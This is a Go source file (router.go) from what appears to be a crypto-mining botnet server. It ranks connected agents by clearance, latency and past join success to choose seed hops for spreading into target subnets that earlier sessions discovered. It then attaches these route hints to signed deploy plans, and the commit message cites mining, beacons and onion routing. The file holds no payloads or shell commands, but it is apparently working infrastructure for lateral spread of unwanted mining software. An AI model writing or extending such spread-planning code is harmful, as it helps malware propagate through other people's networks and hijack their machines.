Files
AetherForge/server/internal/spreadrouter/router.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

468 lines
11 KiB
Go

// Package spreadrouter computes BGP-style spread routes from Path Tracer sessions,
// agent clearance, lane success history, and latency.
package spreadrouter
import (
"net"
"strings"
"crypto-miner-server/internal/clearance"
)
// SpreadMinClearance is the minimum clearance required for spread actions (L2).
const SpreadMinClearance = clearance.L2
// HopSnapshot is one agent hop in an active Path Tracer session.
type HopSnapshot struct {
AgentID string
AgentName string
Subnet string
SessionID string
HopIndex int
Connected bool
}
// SubnetDiscovery links a discovering hop to hosts on a target subnet.
type SubnetDiscovery struct {
Subnet string
AgentID string
Hosts []string
}
// SessionSnapshot is routable state from one Path Tracer session.
type SessionSnapshot struct {
SessionID string
Hops []HopSnapshot
Discoveries []SubnetDiscovery
}
// FleetAgentSnapshot is a connected fleet agent used for routing.
type FleetAgentSnapshot struct {
AgentID string
AgentName string
Subnet string
Clearance int
LatencyMs int
JoinLane string
Connected bool
}
// LaneSuccessStat is historical join-lane success on a subnet.
type LaneSuccessStat struct {
Subnet string
JoinLane string
Success int
}
// Input feeds the route table builder.
type Input struct {
Sessions []SessionSnapshot
FleetAgents []FleetAgentSnapshot
LaneSuccess []LaneSuccessStat
TargetSubnets []string
RequestedLane string
}
// RouteEdge is a weighted edge from a seed hop to a target subnet.
type RouteEdge struct {
FromAgentID string `json:"from_agent_id"`
FromAgentName string `json:"from_agent_name,omitempty"`
ToSubnet string `json:"to_subnet"`
SessionID string `json:"session_id,omitempty"`
HopIndex int `json:"hop_index,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
Clearance int `json:"clearance_level"`
LaneSuccess float64 `json:"lane_success_rate"`
LatencyMs int `json:"latency_ms,omitempty"`
Weight float64 `json:"weight"`
}
// RouteRecommendation is the best seed hop for one target subnet.
type RouteRecommendation struct {
TargetSubnet string `json:"target_subnet"`
SeedAgentID string `json:"seed_agent_id"`
SeedAgentName string `json:"seed_agent_name,omitempty"`
EgressAgentID string `json:"egress_agent_id"`
EgressHopIndex int `json:"egress_hop_index,omitempty"`
SessionID string `json:"session_id,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
ClearanceLevel int `json:"clearance_level"`
Score float64 `json:"score"`
Reason string `json:"reason,omitempty"`
}
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
type SpreadRouteHint struct {
TargetSubnet string `json:"target_subnet"`
SeedAgentID string `json:"seed_agent_id"`
SeedAgentName string `json:"seed_agent_name,omitempty"`
EgressAgentID string `json:"egress_agent_id"`
EgressHopIndex int `json:"egress_hop_index,omitempty"`
SessionID string `json:"session_id,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
Score float64 `json:"score,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
}
// RouteTable holds weighted edges and recommendations.
type RouteTable struct {
Edges []RouteEdge
Routes []RouteRecommendation
bySubnet map[string]RouteRecommendation
}
const (
weightClearance = 0.35
weightLane = 0.40
weightLatency = 0.25
)
type candidate struct {
agentID string
agentName string
subnet string
sessionID string
hopIndex int
clearance int
latencyMs int
joinLane string
laneRate float64
discovered bool
}
// Build constructs a route table from Path Tracer sessions and fleet telemetry.
func Build(in Input) *RouteTable {
rt := &RouteTable{bySubnet: make(map[string]RouteRecommendation)}
laneRates := laneSuccessRates(in.LaneSuccess, in.RequestedLane)
fleetByID := make(map[string]FleetAgentSnapshot, len(in.FleetAgents))
for _, ag := range in.FleetAgents {
fleetByID[ag.AgentID] = ag
}
targets := normalizeTargets(in)
for _, target := range targets {
cands := collectCandidates(in, target, fleetByID, laneRates)
rec, edges := scoreCandidates(target, in.RequestedLane, cands)
if rec.SeedAgentID != "" {
rt.Routes = append(rt.Routes, rec)
rt.bySubnet[target] = rec
}
rt.Edges = append(rt.Edges, edges...)
}
return rt
}
// Recommend returns the best route for a target subnet.
func (rt *RouteTable) Recommend(targetSubnet string) (RouteRecommendation, bool) {
if rt == nil {
return RouteRecommendation{}, false
}
targetSubnet = NormalizeSubnet(targetSubnet)
rec, ok := rt.bySubnet[targetSubnet]
return rec, ok
}
// ToHint converts a recommendation into a deploy-plan hint.
func ToHint(rec RouteRecommendation) *SpreadRouteHint {
if rec.SeedAgentID == "" {
return nil
}
return &SpreadRouteHint{
TargetSubnet: rec.TargetSubnet,
SeedAgentID: rec.SeedAgentID,
SeedAgentName: rec.SeedAgentName,
EgressAgentID: rec.EgressAgentID,
EgressHopIndex: rec.EgressHopIndex,
SessionID: rec.SessionID,
JoinLane: rec.JoinLane,
Score: rec.Score,
ClearanceLevel: rec.ClearanceLevel,
}
}
func normalizeTargets(in Input) []string {
seen := make(map[string]bool)
var out []string
add := func(s string) {
s = NormalizeSubnet(s)
if s == "" || seen[s] {
return
}
seen[s] = true
out = append(out, s)
}
for _, t := range in.TargetSubnets {
add(t)
}
for _, sess := range in.Sessions {
for _, d := range sess.Discoveries {
add(d.Subnet)
}
}
for _, ag := range in.FleetAgents {
add(ag.Subnet)
}
return out
}
func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnapshot, laneRates map[string]float64) []candidate {
seen := make(map[string]bool)
var out []candidate
add := func(c candidate) {
if c.agentID == "" {
return
}
if ag, ok := fleet[c.agentID]; ok {
if c.clearance == 0 {
c.clearance = ag.Clearance
}
if c.latencyMs == 0 {
c.latencyMs = ag.LatencyMs
}
if c.joinLane == "" {
c.joinLane = ag.JoinLane
}
if c.agentName == "" {
c.agentName = ag.AgentName
}
if !ag.Connected {
return
}
}
if c.clearance < SpreadMinClearance {
return
}
key := c.agentID + "|" + target
if seen[key] {
return
}
seen[key] = true
if c.laneRate == 0 {
c.laneRate = laneRates[target+"|"+strings.TrimSpace(c.joinLane)]
if c.laneRate == 0 {
c.laneRate = laneRates[target+"|"]
}
}
out = append(out, c)
}
for _, sess := range in.Sessions {
for _, hop := range sess.Hops {
ag := fleet[hop.AgentID]
c := candidate{
agentID: hop.AgentID,
agentName: hop.AgentName,
subnet: hop.Subnet,
sessionID: sess.SessionID,
hopIndex: hop.HopIndex,
clearance: ag.Clearance,
latencyMs: ag.LatencyMs,
joinLane: ag.JoinLane,
}
for _, d := range sess.Discoveries {
if NormalizeSubnet(d.Subnet) == target && d.AgentID == hop.AgentID {
c.discovered = true
break
}
}
if c.discovered || NormalizeSubnet(hop.Subnet) == target {
add(c)
}
}
}
for _, ag := range in.FleetAgents {
if !ag.Connected || ag.Clearance < SpreadMinClearance {
continue
}
if NormalizeSubnet(ag.Subnet) != target {
continue
}
add(candidate{
agentID: ag.AgentID,
agentName: ag.AgentName,
subnet: ag.Subnet,
clearance: ag.Clearance,
latencyMs: ag.LatencyMs,
joinLane: ag.JoinLane,
laneRate: laneRates[target+"|"+strings.TrimSpace(ag.JoinLane)],
})
}
return out
}
func scoreCandidates(target, requestedLane string, cands []candidate) (RouteRecommendation, []RouteEdge) {
var edges []RouteEdge
var best RouteRecommendation
var bestScore float64
for _, c := range cands {
clearanceScore := clearancePreference(c.clearance)
laneScore := c.laneRate
if laneScore <= 0 && strings.TrimSpace(requestedLane) != "" && strings.EqualFold(c.joinLane, requestedLane) {
laneScore = 0.5
}
latencyScore := latencyPreference(c.latencyMs)
weight := weightClearance*clearanceScore + weightLane*laneScore + weightLatency*latencyScore
if c.discovered {
weight += 0.05
}
edges = append(edges, RouteEdge{
FromAgentID: c.agentID,
FromAgentName: c.agentName,
ToSubnet: target,
SessionID: c.sessionID,
HopIndex: c.hopIndex,
JoinLane: c.joinLane,
Clearance: c.clearance,
LaneSuccess: laneScore,
LatencyMs: c.latencyMs,
Weight: weight,
})
if weight > bestScore {
bestScore = weight
reason := "minimum-clearance route"
if c.discovered {
reason = "path-tracer discovery on subnet"
} else if NormalizeSubnet(c.subnet) == target {
reason = "fleet agent on target subnet"
}
best = RouteRecommendation{
TargetSubnet: target,
SeedAgentID: c.agentID,
SeedAgentName: c.agentName,
EgressAgentID: c.agentID,
EgressHopIndex: c.hopIndex,
SessionID: c.sessionID,
JoinLane: firstNonEmpty(requestedLane, c.joinLane),
ClearanceLevel: c.clearance,
Score: weight,
Reason: reason,
}
}
}
return best, edges
}
func clearancePreference(level int) float64 {
if level < SpreadMinClearance {
return 0
}
excess := float64(level - SpreadMinClearance)
maxExcess := float64(clearance.L4 - SpreadMinClearance)
if maxExcess <= 0 {
return 1
}
if excess > maxExcess {
excess = maxExcess
}
return 1 - excess/maxExcess
}
func latencyPreference(ms int) float64 {
if ms <= 0 {
return 1
}
return 1 / (1 + float64(ms)/100)
}
func laneSuccessRates(stats []LaneSuccessStat, requestedLane string) map[string]float64 {
type bucket struct {
total int
lane int
}
bySubnet := make(map[string]*bucket)
for _, s := range stats {
sub := NormalizeSubnet(s.Subnet)
if sub == "" || s.Success <= 0 {
continue
}
b := bySubnet[sub]
if b == nil {
b = &bucket{}
bySubnet[sub] = b
}
b.total += s.Success
if requestedLane != "" && strings.EqualFold(s.JoinLane, requestedLane) {
b.lane += s.Success
}
}
out := make(map[string]float64)
for sub, b := range bySubnet {
if b.total <= 0 {
continue
}
out[sub+"|"] = clamp01(float64(b.total) / float64(b.total+3))
if requestedLane != "" && b.lane > 0 {
out[sub+"|"+requestedLane] = clamp01(float64(b.lane) / float64(b.total))
}
}
return out
}
func clamp01(v float64) float64 {
if v < 0 {
return 0
}
if v > 1 {
return 1
}
return v
}
func firstNonEmpty(parts ...string) string {
for _, p := range parts {
if strings.TrimSpace(p) != "" {
return strings.TrimSpace(p)
}
}
return ""
}
// NormalizeSubnet returns a /24-style prefix for routing keys.
func NormalizeSubnet(s string) string {
s = strings.TrimSpace(strings.ToLower(s))
if s == "" {
return ""
}
if strings.HasSuffix(s, ".x") {
return strings.TrimSuffix(s, ".x")
}
return SubnetFromIP(s)
}
// SubnetFromIP extracts a routable subnet prefix from an IP or CIDR-ish string.
func SubnetFromIP(ip string) string {
ip = strings.TrimSpace(ip)
if ip == "" {
return ""
}
host := ip
if h, _, err := net.SplitHostPort(ip); err == nil {
host = h
}
if strings.Count(host, ".") == 2 {
return host
}
parsed := net.ParseIP(host)
if parsed == nil {
return ""
}
if v4 := parsed.To4(); v4 != nil {
parts := strings.Split(host, ".")
if len(parts) >= 3 {
return strings.Join(parts[:3], ".")
}
}
if strings.Contains(host, ":") {
parts := strings.Split(host, ":")
if len(parts) >= 3 {
return strings.Join(parts[:3], ":")
}
}
return ""
}